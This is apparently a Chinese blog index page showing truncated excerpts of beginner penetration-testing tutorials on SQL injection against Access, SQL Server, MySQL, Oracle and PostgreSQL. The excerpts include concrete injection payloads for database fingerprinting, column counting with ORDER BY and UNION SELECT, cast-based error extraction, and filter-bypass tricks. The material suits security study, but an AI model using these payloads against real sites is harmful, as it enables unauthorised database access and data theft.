![](https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
渗透
想学渗透
来自一个想学正在学渗透的人!
展开
-
渗透sql注入知识
配合Mantra浏览器使用,在网址后面id写入一 判断数据库的类型:1.access类型:and exsits (select from msysobjects)>02.sqlserver类型:and exsits (select from sysobjects)>0二 判断数据库中的表:1 and exsits (select * from admin_user) //最后...原创 2019-05-12 23:20:21 · 559 阅读 · 0 评论 -
Access数据库注入详解
Access数据库注入详解一:判断数据库:1.access:and exists (select * from msysobjects)>02.Sqlserver:and exists (select * from sysobjects)>0二:判断数据库中的表:and exsits (select * from admin_user) //最后的admin_user是表名常见...原创 2019-05-22 23:28:15 · 496 阅读 · 0 评论 -
Mysql注入详解
Mysql注入详解1.防注入绕过:1.大小写绕过 2. %00编码绕过2.判断多少列:order by xx3.爆出数据类型不匹配的列:id=-294 UNION SELECT 1,2,3,4,5,6,7,8,9 from information_schema.tables4.获取基本信息: database():数据库名 version():数据库版本user():数据...原创 2019-05-22 23:29:38 · 395 阅读 · 0 评论 -
Oracle第一种注入方式
Oracle第一种注入方式1.判断oracle数据库: and exists(select * from dual)and exists(select * from user_tables)2.判断列数: order by3.获取数据类型不匹配的列: id=100 union select null,null,null,null, null, null, from dual在每列上逐...原创 2019-05-22 23:30:37 · 267 阅读 · 0 评论 -
postgresql注入
postgresql注入1.postgresql数据库注入常用语法判断是否为postgresql数据库+and+1::int=1–php?id=1+and+1::int=1–判断数据库版本信息+and+1=cast(version() as int)–判断当前用户and 1=cast(user||123 as int)判断有多少字段order byunion select n...原创 2019-05-22 23:32:51 · 843 阅读 · 0 评论